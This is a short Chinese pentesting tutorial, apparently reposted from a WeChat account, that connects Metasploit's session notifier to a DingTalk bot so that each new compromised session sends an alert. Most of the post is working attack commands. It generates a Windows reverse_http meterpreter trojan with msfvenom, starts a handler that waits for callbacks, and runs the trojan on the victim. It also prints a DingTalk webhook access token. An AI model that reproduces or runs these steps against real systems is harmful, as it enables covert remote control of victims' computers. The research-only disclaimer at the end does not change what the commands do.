首先在钉钉建一个内部群。
创建自定义机器人
设置自定义关键词session
复制webhook，完成。
Metasploit tip: Use the edit command to open thecurrently active module in your editormsf6 > load session_notifier[*] Successfully loaded plugin: SessionNotifiermsf6 > set_session_dingtalk_webhook https://oapi.dingtalk.com/robot/send?access_token=85129159032367752a10d08873dc87fa8620d90d64ba29b533aba2191a3ec0d3msf6 > save_session_notifier_settings[*] Session Notifier settings saved in config file.msf6 > start_session_notifier[*] DingTalk notification started.
进入msf加载session_notifier模块，set_session_dingtalk_webhook设置钉钉webhook。
生成远控木马。
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.126.128 lport=8888 -f exe -o 1.exe
进行监听
msf6 > handler -p windows/meterpreter/reverse_http -H 0.0.0.0 -P 8888[] Payload handler running as background job 0.msf6 >[] Started HTTP reverse handler on http://0.0.0.0:8888
在Windows执行远控木马，钉钉上线提醒。
原文始发于微信公众号（我真不会渗透）：MSF和钉钉联动
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论